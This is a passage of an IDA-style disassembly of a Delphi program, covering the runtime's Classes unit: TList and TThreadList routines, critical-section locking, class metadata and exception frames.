Attributes: bp-based frame sub_40012F38 proc near ; DATA XREF: .text:40018390o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40012F7E push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F2C4 jnz short loc_40012F70 mov eax, offset off_4001AA88 mov ecx, 2 mov edx, ds:off_40001000 call sub_40005314 mov eax, offset off_4001AA90 call sub_40004884 loc_40012F70: ; CODE XREF: sub_40012F38+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40012F85 loc_40012F7D: ; CODE XREF: sub_40012F38+4Bj retn ; --------------------------------------------------------------------------- loc_40012F7E: ; DATA XREF: sub_40012F38+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40012F7D ; --------------------------------------------------------------------------- loc_40012F85: ; CODE XREF: sub_40012F38:loc_40012F7Dj ; DATA XREF: sub_40012F38+40o pop ebp retn sub_40012F38 endp ; --------------------------------------------------------------------------- align 4 off_40012F88 dd offset dword_40012FD4 ; DATA XREF: sub_40013770+23r dd 7 dup(0) dd offset dword_40012FD4 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40012FD4 dd 694C450Ah, 72457473h, 90726F72h ; .text:40012FA8o off_40012FE0 dd offset dword_4001302C ; DATA XREF: sub_4001552C+36r dd 7 dup(0) dd offset dword_4001302C dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_4001302C dd 6E494511h, 696C6176h, 65704F64h, 69746172h, 0C08B6E6Fh ; DATA XREF: .text:off_40012FE0o ; .text:40013000o off_40013040 dd offset off_4001308C ; DATA XREF: sub_4001326C+25r ; sub_400133D4+1Er ... dd 7 dup(0) dd offset dword_4001309C dd 10h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_4001369C off_4001308C dd offset loc_40013824 ; DATA XREF: .text:off_40013040o dd offset nullsub_5 dd offset sub_400136F0 dd offset sub_40013770 dword_4001309C dd 694C5405h, 0C08B7473hoff_400130A4 dd offset dword_400130F0 ; DATA XREF: sub_400191F8+5Br ; sub_400191F8+6Cr ... dd 7 dup(0) dd offset dword_400130F0 dd 24h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_400139A0 dword_400130F0 dd 6854540Bh, 64616572h, 7473694Ch ; .text:400130C4o dd offset off_40013148 ; DATA XREF: sub_400133D4+34r dd 3 dup(0) dd offset dword_40013174 dd 2 dup(0) dd offset dword_40013154 dd offset word_40013162 dd 4 dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40013B14 off_40013148 dd offset loc_40013C24 ; DATA XREF: .text:400130FCo ; .text:40013181o dd offset nullsub_6 dd offset sub_40013B40 dword_40013154 dd 0FFFF0002h db 0FEh, 0FFh dd offset loc_40013CE0 dd offset sub_40013C30 word_40013162 dw 540Bh ; DATA XREF: .text:4001311Co dd 73726550h, 65747369h, 0C08B746Eh dd offset dword_40013174 dword_40013174 dd 50540B07h, 69737265h, 6E657473h ; .text:40013170o db 74h dd offset off_40013148 dd offset off_40001070 db 2 dup(0), 7 aClasses db 'Classes',0 align 8 off_40013198 dd offset dword_4001319C ; DATA XREF: sub_40015C34+9Br ; sub_40015C34+B0r dword_4001319C dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1 ; DATA XREF: .text:off_40013198o dd offset off_40001000 dd 4 off_400131BC dd offset dword_40013208 ; DATA XREF: sub_400133D4+3Cr dd 7 dup(0) dd offset dword_40013208 dd 14h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_400132C8 dword_40013208 dd 65525409h, 6F724767h, 0C08B7075h ; .text:400131DCo off_40013214 dd offset dword_40013260 ; DATA XREF: sub_400191F8+4Ar dd 7 dup(0) dd offset dword_40013260 dd 24h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40013448 dword_40013260 dd 6552540Ah, 6F724767h, 90737075h ; .text:40013234o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4001326C proc near ; CODE XREF: sub_400133D4+41p var_1 = byte ptr -1 push ebp mov ebp, esp push ecx push ebx push esi push edi test dl, dl jz short loc_4001327F add esp, 0FFFFFFF0h call sub_40003F30 loc_4001327F: ; CODE XREF: sub_4001326C+9j mov edi, ecx mov [ebp+var_1], dl mov ebx, eax xor edx, edx mov eax, ebx call sub_40003CB8 mov dl, 1 mov eax, ds:off_40013040 call sub_40003CB8 mov esi, eax mov [ebx+0Ch], esi mov eax, esi mov edx, edi call sub_400136BC mov eax, ebx cmp [ebp+var_1], 0 jz short loc_400132C0 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_400132C0: ; CODE XREF: sub_4001326C+43j mov eax, ebx pop edi pop esi pop ebx pop ecx pop ebp retn sub_4001326C endp ; =============== S U B R O U T I N E ======================================= sub_400132C8 proc near ; DATA XREF: .text:40013204o push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax mov edx, ebx and dl, 0FCh mov eax, esi call sub_40003CD8 mov eax, [esi+4] call sub_40003CE8 mov eax, [esi+8] call sub_40003CE8 mov eax, [esi+0Ch] call sub_40003CE8 test bl, bl jle short loc_40013302 mov eax, esi call sub_40003F80 loc_40013302: ; CODE XREF: sub_400132C8+31j pop esi pop ebx retn sub_400132C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013308 proc near ; CODE XREF: sub_40013328+1Fp ; sub_40013328+54p ... push ebx push esi mov ebx, edx mov esi, eax test ebx, ebx jz short loc_40013322 mov eax, esi call sub_40005B98 cmp ebx, eax jz short loc_40013322 xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_40013322: ; CODE XREF: sub_40013308+8j ; sub_40013308+13j mov al, 1 pop esi pop ebx retn sub_40013308 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013328 proc near ; CODE XREF: sub_400134C0+24p push ebx push esi push edi mov edi, edx mov esi, eax mov eax, [esi+0Ch] mov ebx, [eax+8] dec ebx cmp ebx, 0 jl short loc_40013360 loc_4001333B: ; CODE XREF: sub_40013328+36j mov edx, ebx mov eax, [esi+0Ch] call sub_400137FC mov edx, edi call sub_40013308 test al, al jz short loc_4001335A mov edx, ebx mov eax, [esi+0Ch] call sub_40013708 loc_4001335A: ; CODE XREF: sub_40013328+26j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_4001333B loc_40013360: ; CODE XREF: sub_40013328+11j mov eax, [esi+4] test eax, eax jz short loc_40013395 mov ebx, [eax+8] dec ebx cmp ebx, 0 jl short loc_40013395 loc_40013370: ; CODE XREF: sub_40013328+6Bj mov edx, ebx mov eax, [esi+4] call sub_400137FC mov edx, edi call sub_40013308 test al, al jz short loc_4001338F mov edx, ebx mov eax, [esi+4] call sub_40013708 loc_4001338F: ; CODE XREF: sub_40013328+5Bj dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_40013370 loc_40013395: ; CODE XREF: sub_40013328+3Dj ; sub_40013328+46j mov ebx, [esi+8] test ebx, ebx jz short loc_400133D0 mov eax, ebx mov edx, [eax] call dword ptr [edx+14h] dec eax cmp eax, 0 jl short loc_400133D0 mov ebx, eax loc_400133AB: ; CODE XREF: sub_40013328+A6j mov edx, ebx mov eax, [esi+8] mov ecx, [eax] call dword ptr [ecx+18h] mov edx, edi call sub_40013308 test al, al jz short loc_400133CA mov edx, ebx mov eax, [esi+8] mov ecx, [eax] call dword ptr [ecx+48h] loc_400133CA: ; CODE XREF: sub_40013328+96j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_400133AB loc_400133D0: ; CODE XREF: sub_40013328+72j ; sub_40013328+7Fj pop edi pop esi pop ebx retn sub_40013328 endp ; =============== S U B R O U T I N E ======================================= sub_400133D4 proc near ; CODE XREF: sub_400191F8+4Fp push ebx push esi push edi test dl, dl jz short loc_400133E3 add esp, 0FFFFFFF0h call sub_40003F30 loc_400133E3: ; CODE XREF: sub_400133D4+5j mov ebx, edx mov edi, eax xor edx, edx mov eax, edi call sub_40003CB8 mov dl, 1 mov eax, ds:off_40013040 call sub_40003CB8 mov [edi+4], eax lea eax, [edi+8] push eax call sub_400065E0 ; InitializeCriticalSection mov ecx, ds:off_400130FC mov dl, 1 mov eax, ds:off_400131BC call sub_4001326C mov esi, eax mov eax, [edi+4] mov edx, esi call sub_400136BC mov byte ptr [esi+10h], 1 mov eax, edi test bl, bl jz short loc_4001343F call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4001343F: ; CODE XREF: sub_400133D4+5Aj mov eax, edi pop edi pop esi pop ebx retn sub_400133D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013448 proc near ; DATA XREF: .text:4001325Co push ebx push esi push edi push ebp call sub_40003FD8 mov ebx, edx mov ebp, eax lea eax, [ebp+8] push eax call sub_40006518 ; RtlDeleteCriticalSection mov eax, [ebp+4] test eax, eax jz short loc_40013483 mov esi, [eax+8] dec esi test esi, esi jl short loc_40013483 inc esi xor edi, edi loc_40013470: ; CODE XREF: sub_40013448+39j mov eax, [ebp+4] mov edx, edi call sub_400137FC call sub_40003CE8 inc edi dec esi jnz short loc_40013470 loc_40013483: ; CODE XREF: sub_40013448+1Bj ; sub_40013448+23j mov eax, [ebp+4] call sub_40003CE8 mov edx, ebx and dl, 0FCh mov eax, ebp call sub_40003CD8 test bl, bl jle short loc_400134A2 mov eax, ebp call sub_40003F80 loc_400134A2: ; CODE XREF: sub_40013448+51j pop ebp pop edi pop esi pop ebx retn sub_40013448 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400134A8 proc near ; CODE XREF: sub_40013510+Bp add eax, 8 push eax call sub_40006520 ; RtlEnterCriticalSection retn sub_400134A8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400134B4 proc near ; CODE XREF: sub_40013510+3Cp add eax, 8 push eax call sub_400065E8 ; RtlLeaveCriticalSection retn sub_400134B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400134C0 proc near ; CODE XREF: sub_40013510+25p push ebx push esi push edi push ebp mov ebp, edx mov edi, eax mov eax, [edi+4] mov ebx, [eax+8] dec ebx cmp ebx, 0 jl short loc_40013509 loc_400134D4: ; CODE XREF: sub_400134C0+47j mov eax, [edi+4] mov edx, ebx call sub_400137FC mov esi, eax mov edx, ebp mov eax, esi call sub_40013328 mov eax, [esi+0Ch] cmp dword ptr [eax+8], 0 jnz short loc_40013503 mov eax, esi call sub_40003CE8 mov eax, [edi+4] mov edx, ebx call sub_40013708 loc_40013503: ; CODE XREF: sub_400134C0+30j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_400134D4 loc_40013509: ; CODE XREF: sub_400134C0+12j pop ebp pop edi pop esi pop ebx retn sub_400134C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013510 proc near ; CODE XREF: sub_40013ECCp ; sub_40013ED4+1Ep push ebp mov ebp, esp push ebx mov ebx, eax mov eax, ds:dword_4001F2D8 call sub_400134A8 xor eax, eax push ebp push offset loc_40013552 push dword ptr fs:[eax] mov fs:[eax], esp mov edx, ebx mov eax, ds:dword_4001F2D8 call sub_400134C0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013559 loc_40013547: ; CODE XREF: sub_40013510+47j mov eax, ds:dword_4001F2D8 call sub_400134B4 retn ; --------------------------------------------------------------------------- loc_40013552: ; DATA XREF: sub_40013510+13o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013547 ; --------------------------------------------------------------------------- loc_40013559: ; CODE XREF: sub_40013510+41j ; DATA XREF: sub_40013510+32o pop ebx pop ebp retn sub_40013510 endp ; --------------------------------------------------------------------------- off_4001355C dd offset dword_400135A8 ; DATA XREF: sub_400135EC+Fr dd 7 dup(0) dd offset dword_400135A8 dd 10h dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_400135A8 dd 6E495409h, 6E6F4374h, 0C08B7473h ; .text:4001357Co ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400135B4 proc near ; CODE XREF: sub_400135EC+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp test dl, dl jz short loc_400135C3 add esp, 0FFFFFFF0h call sub_40003F30 loc_400135C3: ; CODE XREF: sub_400135B4+5j mov [eax+4], ecx mov ecx, [ebp+arg_4] mov [eax+8], ecx mov ecx, [ebp+arg_0] mov [eax+0Ch], ecx test dl, dl jz short loc_400135E5 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_400135E5: ; CODE XREF: sub_400135B4+20j pop ebp retn 8 sub_400135B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400135EC proc near ; CODE XREF: .itext:4001937Dp ; .itext:40019391p push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, ds:off_4001355C call sub_400135B4 mov edx, eax mov eax, ds:dword_4001F2D4 call sub_40013A1C pop edi pop esi pop ebx retn sub_400135EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013618 proc near ; CODE XREF: sub_40014D7C+7p ; .text:40014F57p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], edx mov edi, eax mov esi, [ebp+arg_0] test esi, esi jl short loc_4001364E inc esi lea ebx, [ecx+4] loc_4001362F: ; CODE XREF: sub_40013618+34j mov edx, edi mov eax, [ebx] call sub_40007B90 test al, al jz short loc_40013648 mov al, 1 mov edx, [ebp+var_4] mov ecx, [ebx-4] mov [edx], ecx jmp short loc_40013650 ; --------------------------------------------------------------------------- loc_40013648: ; CODE XREF: sub_40013618+22j add ebx, 8 dec esi jnz short loc_4001362F loc_4001364E: ; CODE XREF: sub_40013618+11j xor eax, eax loc_40013650: ; CODE XREF: sub_40013618+2Ej pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_40013618 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013658 proc near ; CODE XREF: sub_40014D6C+7p ; .text:40014F47p var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, [ebp+arg_0] test esi, esi jl short loc_4001368B inc esi mov ebx, [ebp+var_4] loc_40013671: ; CODE XREF: sub_40013658+31j cmp eax, [ebx] jnz short loc_40013685 mov [ebp+var_5], 1 mov eax, edi mov edx, [ebx+4] call sub_400048D8 jmp short loc_4001368F ; --------------------------------------------------------------------------- loc_40013685: ; CODE XREF: sub_40013658+1Bj add ebx, 8 dec esi jnz short loc_40013671 loc_4001368B: ; CODE XREF: sub_40013658+13j mov [ebp+var_5], 0 loc_4001368F: ; CODE XREF: sub_40013658+2Bj movzx eax, [ebp+var_5] pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 4 sub_40013658 endp ; =============== S U B R O U T I N E ======================================= sub_4001369C proc near ; DATA XREF: .text:40013088o push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax mov eax, esi mov edx, [eax] call dword ptr [edx+8] test bl, bl jle short loc_400136B9 mov eax, esi call sub_40003F80 loc_400136B9: ; CODE XREF: sub_4001369C+14j pop esi pop ebx retn sub_4001369C endp ; =============== S U B R O U T I N E ======================================= sub_400136BC proc near ; CODE XREF: sub_4001326C+38p ; sub_400133D4+4Dp ... push ebx push esi push edi mov edi, edx mov ebx, eax mov esi, [ebx+8] cmp esi, [ebx+0Ch] jnz short loc_400136D1 mov eax, ebx mov edx, [eax] call dword ptr [edx] loc_400136D1: ; CODE XREF: sub_400136BC+Dj mov eax, [ebx+4] mov [eax+esi*4], edi inc dword ptr [ebx+8] test edi, edi jz short loc_400136E9 xor ecx, ecx mov edx, edi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+4] loc_400136E9: ; CODE XREF: sub_400136BC+20j mov eax, esi pop edi pop esi pop ebx retn sub_400136BC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400136F0 proc near ; DATA XREF: .text:40013094o push ebx mov ebx, eax xor edx, edx mov eax, ebx call sub_400138D4 xor edx, edx mov eax, ebx call sub_40013898 pop ebx retn sub_400136F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013708 proc near ; CODE XREF: sub_40013328+2Dp ; sub_40013328+62p ... push ebx push esi push edi mov esi, edx mov ebx, eax test esi, esi jl short loc_40013718 cmp esi, [ebx+8] jl short loc_40013727 loc_40013718: ; CODE XREF: sub_40013708+9j mov edx, off_4001B05C mov ecx, esi mov eax, [ebx] call sub_400137A8 loc_40013727: ; CODE XREF: sub_40013708+Ej mov edx, esi mov eax, ebx call sub_400137FC mov edi, eax dec dword ptr [ebx+8] mov eax, [ebx+8] cmp esi, eax jge short loc_40013756 sub eax, esi mov ecx, eax add ecx, ecx add ecx, ecx mov eax, [ebx+4] lea edx, [eax+esi*4] mov eax, [ebx+4] lea eax, [eax+esi*4+4] call sub_40002DFC loc_40013756: ; CODE XREF: sub_40013708+32j test edi, edi jz short loc_40013765 mov cl, 2 mov edx, edi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+4] loc_40013765: ; CODE XREF: sub_40013708+50j pop edi pop esi pop ebx retn sub_40013708 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001376C proc near ; CODE XREF: sub_40013770+9p mov eax, [ebp+4] retn sub_4001376C endp ; =============== S U B R O U T I N E ======================================= sub_40013770 proc near ; CODE XREF: sub_400137A8+2Dp ; DATA XREF: .text:40013098o var_10 = dword ptr -10h var_C = byte ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov esi, ecx mov ebx, edx call sub_4001376C push eax mov [esp+14h+var_10], esi mov [esp+14h+var_C], 0 lea eax, [esp+14h+var_10] push eax push 0 mov ecx, ebx mov dl, 1 mov eax, ds:off_40012F88 call sub_4000B06C jmp sub_400042E4 sub_40013770 endp ; --------------------------------------------------------------------------- pop ecx pop edx pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400137A8 proc near ; CODE XREF: sub_40013708+1Ap ; sub_400137FC+19p ... var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi mov esi, ecx mov ebx, edx xor eax, eax push ebp push offset loc_400137F0 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_4] mov eax, ebx call sub_400062F0 mov edx, [ebp+var_4] mov ecx, esi mov eax, ds:off_40013040 call sub_40013770 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400137F7 loc_400137E7: ; CODE XREF: sub_400137A8+4Dj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_400137F0: ; DATA XREF: sub_400137A8+Eo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400137E7 ; --------------------------------------------------------------------------- loc_400137F7: ; CODE XREF: sub_400137A8+47j ; DATA XREF: sub_400137A8+3Ao pop esi pop ebx pop ecx pop ebp retn sub_400137A8 endp ; =============== S U B R O U T I N E ======================================= sub_400137FC proc near ; CODE XREF: sub_40013328+18p ; sub_40013328+4Dp ... push ebx push esi mov esi, edx mov ebx, eax test esi, esi jl short loc_4001380B cmp esi, [ebx+8] jl short loc_4001381A loc_4001380B: ; CODE XREF: sub_400137FC+8j mov edx, off_4001B05C mov ecx, esi mov eax, [ebx] call sub_400137A8 loc_4001381A: ; CODE XREF: sub_400137FC+Dj mov eax, [ebx+4] mov eax, [eax+esi*4] pop esi pop ebx retn sub_400137FC endp ; --------------------------------------------------------------------------- align 4 loc_40013824: ; DATA XREF: .text:off_4001308Co mov edx, [eax+0Ch] cmp edx, 40h jle short loc_4001383A mov ecx, edx test ecx, ecx jns short loc_40013835 add ecx, 3 loc_40013835: ; CODE XREF: .text:40013830j sar ecx, 2 jmp short loc_4001384B ; --------------------------------------------------------------------------- loc_4001383A: ; CODE XREF: .text:4001382Aj cmp edx, 8 jle short loc_40013846 mov ecx, 10h jmp short loc_4001384B ; --------------------------------------------------------------------------- loc_40013846: ; CODE XREF: .text:4001383Dj mov ecx, 4 loc_4001384B: ; CODE XREF: .text:40013838j ; .text:40013844j add ecx, edx mov edx, ecx call sub_40013898 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013858 proc near ; CODE XREF: sub_40013878+6p ; sub_40013A1C+31p push ebx xor ecx, ecx jmp short loc_4001385E ; --------------------------------------------------------------------------- loc_4001385D: ; CODE XREF: sub_40013858+11j inc ecx loc_4001385E: ; CODE XREF: sub_40013858+3j cmp ecx, [eax+8] jge short loc_4001386B mov ebx, [eax+4] cmp edx, [ebx+ecx*4] jnz short loc_4001385D loc_4001386B: ; CODE XREF: sub_40013858+9j cmp ecx, [eax+8] jnz short loc_40013873 or ecx, 0FFFFFFFFh loc_40013873: ; CODE XREF: sub_40013858+16j mov eax, ecx pop ebx retn sub_40013858 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013878 proc near ; CODE XREF: sub_40013AB8+28p push ebx push esi mov ebx, eax mov eax, ebx call sub_40013858 mov esi, eax test esi, esi jl short loc_40013892 mov edx, esi mov eax, ebx call sub_40013708 loc_40013892: ; CODE XREF: sub_40013878+Fj mov eax, esi pop esi pop ebx retn sub_40013878 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013898 proc near ; CODE XREF: sub_400136F0+10p ; .text:4001384Fp ... push ebx push esi mov esi, edx mov ebx, eax cmp esi, [ebx+8] jl short loc_400138AB cmp esi, 7FFFFFFh jle short loc_400138BA loc_400138AB: ; CODE XREF: sub_40013898+9j mov edx, off_4001AFE4 mov ecx, esi mov eax, [ebx] call sub_400137A8 loc_400138BA: ; CODE XREF: sub_40013898+11j cmp esi, [ebx+0Ch] jz short loc_400138D0 mov edx, esi add edx, edx add edx, edx lea eax, [ebx+4] call sub_40002C54 mov [ebx+0Ch], esi loc_400138D0: ; CODE XREF: sub_40013898+25j pop esi pop ebx retn sub_40013898 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400138D4 proc near ; CODE XREF: sub_400136F0+7p push ebx push esi push edi push ebp mov esi, edx mov ebx, eax test esi, esi jl short loc_400138E8 cmp esi, 7FFFFFFh jle short loc_400138F7 loc_400138E8: ; CODE XREF: sub_400138D4+Aj mov edx, off_4001AFA0 mov ecx, esi mov eax, [ebx] call sub_400137A8 loc_400138F7: ; CODE XREF: sub_400138D4+12j cmp esi, [ebx+0Ch] jle short loc_40013905 mov edx, esi mov eax, ebx call sub_40013898 loc_40013905: ; CODE XREF: sub_400138D4+26j mov eax, [ebx+8] cmp esi, eax jle short loc_40013926 mov edx, [ebx+4] lea edx, [edx+eax*4] mov ecx, esi sub ecx, eax mov eax, ecx add eax, eax add eax, eax xor ecx, ecx xchg eax, edx call sub_40003580 jmp short loc_4001393D ; --------------------------------------------------------------------------- loc_40013926: ; CODE XREF: sub_400138D4+36j mov ebp, eax dec ebp mov edi, esi sub edi, ebp jg short loc_4001393D dec edi loc_40013930: ; CODE XREF: sub_400138D4+67j mov edx, ebp mov eax, ebx call sub_40013708 dec ebp inc edi jnz short loc_40013930 loc_4001393D: ; CODE XREF: sub_400138D4+50j ; sub_400138D4+59j mov [ebx+8], esi pop ebp pop edi pop esi pop ebx retn sub_400138D4 endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_4001394C proc near ; CODE XREF: sub_400191F8+60p ; sub_400191F8+71p ... push ebx push esi test dl, dl jz short loc_4001395A add esp, 0FFFFFFF0h call sub_40003F30 loc_4001395A: ; CODE XREF: sub_4001394C+4j mov ebx, edx mov esi, eax xor edx, edx mov eax, esi call sub_40003CB8 lea eax, [esi+8] push eax call sub_400065E0 ; InitializeCriticalSection mov dl, 1 mov eax, ds:off_40013040 call sub_40003CB8 mov [esi+4], eax mov byte ptr [esi+20h], 0 mov eax, esi test bl, bl jz short loc_40013998 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_40013998: ; CODE XREF: sub_4001394C+3Bj mov eax, esi pop esi pop ebx retn sub_4001394C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400139A0 proc near ; DATA XREF: .text:400130ECo var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h call sub_40003FD8 mov [ebp+var_5], dl mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40013AA4 xor eax, eax push ebp push offset loc_40013A03 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_40003CE8 movzx edx, [ebp+var_5] and dl, 0FCh mov eax, [ebp+var_4] call sub_40003CD8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013A0A loc_400139EE: ; CODE XREF: sub_400139A0+68j mov eax, [ebp+var_4] call sub_40013B08 mov eax, [ebp+var_4] add eax, 8 push eax call sub_40006518 ; RtlDeleteCriticalSection retn ; --------------------------------------------------------------------------- loc_40013A03: ; DATA XREF: sub_400139A0+1Co jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400139EE ; --------------------------------------------------------------------------- loc_40013A0A: ; DATA XREF: sub_400139A0+49o cmp [ebp+var_5], 0 jle short loc_40013A18 mov eax, [ebp+var_4] call sub_40003F80 loc_40013A18: ; CODE XREF: sub_400139A0+6Ej pop ecx pop ecx pop ebp retn sub_400139A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013A1C proc near ; CODE XREF: sub_400135EC+20p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx mov ebx, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40013AA4 xor eax, eax push ebp push offset loc_40013A98 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] cmp byte ptr [eax+20h], 1 jz short loc_40013A55 mov eax, [ebp+var_4] mov eax, [eax+4] mov edx, ebx call sub_40013858 inc eax jnz short loc_40013A64 loc_40013A55: ; CODE XREF: sub_40013A1C+27j mov eax, [ebp+var_4] mov eax, [eax+4] mov edx, ebx call sub_400136BC jmp short loc_40013A82 ; --------------------------------------------------------------------------- loc_40013A64: ; CODE XREF: sub_40013A1C+37j mov eax, [ebp+var_4] cmp byte ptr [eax+20h], 2 jnz short loc_40013A82 mov edx, off_4001AF90 mov eax, [ebp+var_4] mov eax, [eax+4] mov eax, [eax] mov ecx, ebx call sub_400137A8 loc_40013A82: ; CODE XREF: sub_40013A1C+46j ; sub_40013A1C+4Fj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013A9F loc_40013A8F: ; CODE XREF: sub_40013A1C+81j mov eax, [ebp+var_4] call sub_40013B08 retn ; --------------------------------------------------------------------------- loc_40013A98: ; DATA XREF: sub_40013A1C+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013A8F ; --------------------------------------------------------------------------- loc_40013A9F: ; CODE XREF: sub_40013A1C+7Bj ; DATA XREF: sub_40013A1C+6Eo pop ebx pop ecx pop ebp retn sub_40013A1C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013AA4 proc near ; CODE XREF: sub_400139A0+14p ; sub_40013A1C+Dp ... push ebx mov ebx, eax lea eax, [ebx+8] push eax call sub_40006520 ; RtlEnterCriticalSection mov eax, [ebx+4] pop ebx retn sub_40013AA4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013AB8 proc near ; CODE XREF: sub_40015840+79p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx mov ebx, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_40013AA4 xor eax, eax push ebp push offset loc_40013AFB push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] mov eax, [eax+4] mov edx, 